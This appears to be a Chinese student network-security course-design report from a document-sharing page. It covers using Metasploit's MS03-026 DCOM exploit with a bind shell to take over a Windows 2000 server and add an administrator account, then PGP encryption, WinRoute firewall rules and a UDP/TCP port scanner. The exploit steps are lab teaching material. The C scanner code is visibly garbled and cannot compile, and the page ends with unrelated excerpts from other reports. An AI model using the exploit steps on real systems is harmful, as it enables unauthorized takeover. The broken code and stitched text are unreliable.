网络安全课程设计

发布 2023-08-31 21:42:51 阅读 3050

网络安全是网络工程专业核心专业课程,是理论与实践并重的课程。本课程设计目的是在网络安全课程基础上,熟悉网络安全的架构方法,达到熟练分析网络隐患的技能,能够利用所学的基本知识和技能,解决常见的安全隐患,并设计出相对安全的网络系统规则。要求学生运用所学的网络安全基本知识、基本原理和技能,根据需求完成网络环境的选择与配置,对网络攻防进行验证和设计,培养学生对网络安全技术的应用能力,增强网络安全意识。

在本次课程设计中,要求能够利用metasploit攻击一台装有iis5.0的windows 2000服务器,获得其控制权,并且在其上面建立超级用户;使用pgp加密文件、加密邮件;利用winroute对你的主机设置禁用ping探测、禁用ftp访问及禁用http访问;并且实现对端口的扫描。

1)利用metasploit攻击一台装有iis5.0的windows 2000服务器,获得其控制权,并且在其上面建立超级用户,写出整个实施过程。

1、安装metasploit软件,安装完成后打开软件的控制台窗口。

2、在窗口控制台界面输入命令“info exploit/windows/dcerpc/ms03_026_dcom”以了解该命令的用法。

3、输入命令“use exploit/windows/dcerpc/ms03_026_dcom”使用该程序。

4、输入命令“set rhost 目的主机ip地址”

5、输入命令“set payload generic/shell_bind_tcp”加载运行程序需要的shellcode

6、输入命令“exploit”执行。

7、现在已经进入了目的主机的dos控制界面,输入命令“net user 用户名密码 / add”添加用户。

输入命令“net localgroup 用户名 /add”将用户添加到管理员组。

2)使用pgp 加密文件、加密邮件,写出详细的实施过程。

1、安装pgp软件,在安装中选中“no,i’m a new user”然后“next”至电脑重启。

2、由于是第一次安装运行该软件,电脑重启后该软件会自动提示你建立pgp密钥。

3、 点击按钮“下一步”,在用户信息对话框中输入相应的姓名和电子邮件地址。

4、 在pgp密码输入框中输入8位以上的密码并确认,然后pgp会自动产生pgp密钥。

5、 使用pgp可以加密本地文件,右击要加密的文件,选择pgp菜单项的菜单“encrypt”

6、 系统自动出现对话框,让用户选择要使用的加密密钥,选中一个密钥,点击按钮“ok”

7、 加密邮件:打开outlook,利用outlook建立邮件,可以选择利用pgp进行加密和签名。

3)利用winroute对你的主机设置禁用ping探测、禁用ftp访问及禁用http访问,写出详细的实施过程。

1、安装winroute软件,安装完成后。以管理员身份运行该软件,初始密码为空。

2、该软件运行后,主机将不能上网,点击工具栏图标,出现本地网络设置对话框,然后查看“ethernet”的属性,将两个复选框全部选中。

3、开始创建规则:选择菜单项“packet filter”,选中网卡,右击创建新规则,出现过滤规则添加对话框。

4、因为“ping”指令用的协议是icmp,所以这里要对icmp协议设置过滤规则。在协议下拉列表中选择“icmp”

5、在“icmp type”栏目中,将复选框全部选中。在“action”栏目中,选择单选框“drop”。在“log packet”栏目中选中“log into window”,创建完毕后点击按钮“ok”,一条规则就创建完毕。

6、在物理机上“ping”虚拟机后,再选择菜单栏“view”下的菜单项“logs>security logs”,察看日志纪录。

7、ftp服务用tcp协议, ftp占用tcp的21端口,配置如下:

8. http服务用tcp协议,占用tcp协议的80端口,配置如下:

9、完成后在物理机用浏览器访问虚拟机,查看日志记录:

4)实现端口扫描的程序可以使用tcp协议和udp协议,原理是通过socket连接对方的计算机的某端口,试图和该端口建立连接,如果建立成功,就说明对方开放了该端口,如果失败了,就说明对方没有开放该端口,利用udp协议实现端口扫描(写出程序**)。

#include <>

#include <>

#include <>

#include <>

#define bufsize64

#define wsvers makeword(2, 0)

#define winepoch 2208988800

#define msg "is this port you open?"

#define max_packet 1024

socket connectsock(const char *host, const char *service,const char *transport );

void errexit(const char *,

int main(int argc, char *ar**)

char *host = localhost"; host to use if none supplied */

char *service = 5060"; default service name

socket ssocket descriptor

int errcnt = 0error count */

wsadata wsadata;

switch (argc)

if (wsastartup(wsvers, &wsadata))

errexit("wsastartup failed");

s = connectsock(host, service, "tcp");

(void) send(s, msg, strlen(msg), 0);

closesocket(s);

wsacleanup();

return 1;

#ifndef inaddr_none

#define inaddr_none 0xffffffff

#endif /*inaddr_none */

connectsock - allocate & connect a socket using tcp or udp

socket connectsock(const char *host, const char *service, const char *transport )

struct hostent *phe; /pointer to host information entry */

struct servent *pse; /pointer to service information entry */

struct protoent *ppe; /pointer to protocol information entry*/

struct sockaddr_in sin; /an internet endpoint address

int s, type; /socket descriptor and socket type */

memset(&sin, 0, sizeof(sin));

= af_inet;

/* map service name to port number */

if ( pse = getservbyname(service, transport) )

= pse->s_port;

else if ( htons((u_short)atoi(service)))0 )

errexit("can't get \"s\" service entry", service);

/* map host name to ip address, allowing for dotted decimal */

if ( phe = gethostbyname(host) )

memcpy(& phe->h_addr, phe->h_length);

else if ( inet_addr(host)) inaddr_none)

errexit("can't get \"s\" host entry", host);

/* map protocol name to protocol number */

if ( ppe = getprotobyname(transport)) 0)

errexit("can't get \"s\" protocol entry", transport);

/* use protocol to choose a socket type */

if (strcmp(transport, "udp") 0)

type = sock_dgram;

elsetype = sock_stream;

网络协议DHCP协议分析课程设计

课程名称网络协议工程 设计题目 dhcp协议分析以及以下各层协议的工作机制。院系信息技术学院 班级 级计算机科学与技术2班 设计者。学号。指导教师洪孙焱。设计时间 2014.1.2 2014.1.6 信息技术学院。姓名院 系 信息技术学院。专业 计算机科学与技术学号 任务起止日期 2014.1.2 ...

课程设计总结

实验过程中,也对团队精神的进行了考察,让我们在合作起来更加默契,在成功后一起体会喜悦的心情。果然是团结就是力量,只有互相之间默契融洽的配合才能换来最终完美的结果。此次设计也让我明白了思路即出路,有什么不懂不明白的地方要及时请教或上网查询,只要认真钻研,动脑思考,动手实践,就没有弄不懂的知识,收获颇丰...

课程设计总结

通过近两周的奋斗,课程设计接近了尾声。经过两周的奋战我的课程设计终于完成了。在没有做课程设计以前觉得课程设计只是对信号与系统这门课程所学知识的单纯总结,但是通过这次做课程设计发现自己的看法有点太片面。课程设计不仅是对前面所学知识的一种检验,而且也是对自己能力的一种提高。通过这次课程设计使我明白了自己...

课程设计报告

目录。1设计内容及要求2 1.1设计内容2 1.2设计任务及具体要求2 2概要设计2 2.1该系统的功能简介2 2.2 总体程序框图2 2.3各个模块之间的主要关系3 3 3 设计过程或程序 3 3.1各个模块的运行界面3 3.2对关键 加以分析说明5 4程序调试分析5 5小结6致谢7 参考文献7附...

课程设计总结

其次,当今社会竞争日趋激烈,团队精神在竞争中越来越重要。有效的学习活动不能单纯依赖模仿与记忆,动手实践 自主 合作交流才是学生学习数学的重要方式。因此,合作在学习中越来越重要。团队精神是数学建模是否取得好成绩的最重要的因素,一队三个人要相互支持,相互鼓励。切勿自己只管自己的一部分 数学好的只管建模,...

课程设计总结

燃气输配课程设计小结。建设12级 燃气输配 课程设计于2014年秋学期17周周一开始,到18周结束,基本上按原定计划完成了课程设计任务。在这次课程设计中,主要进行了 1 城市管网的阀门 小区燃气管网的阀门 管材 壁厚 平面布置 施工方案及论证,注意防火间距和避让规定 2 燃气物性参数计算,给出输送 ...

课程设计总结

课程设计是培养学生识综合运用所学知,发现,提出,分析和解决实际问题,锻炼实践能力的重要环节,是对学生实际工作能力的具体训练和考察过程。回顾此次的课程设计,至今我仍感慨颇多。的确,从选题到定稿 从实施实验方案到撰写课程设计 在将近两星期的日子里,可以说是苦多于甜,但是却学到了很多东西,特别是很多在书本...

课程设计个人总结

课程设计。题目 课程设计个人总结 学生姓名 学院 信息工程学院。系别 计算机系 专业 软件工程 班级 指导教师 2011年7月21日 关于本次课设的个人总结。本次课程设计我主要负责的是项目开发计划和测试计划两个文档的编写工作。历时两个星期终于顺利完成。辛苦虽然是不可避免,但收获还是令人尤其欣慰。其中...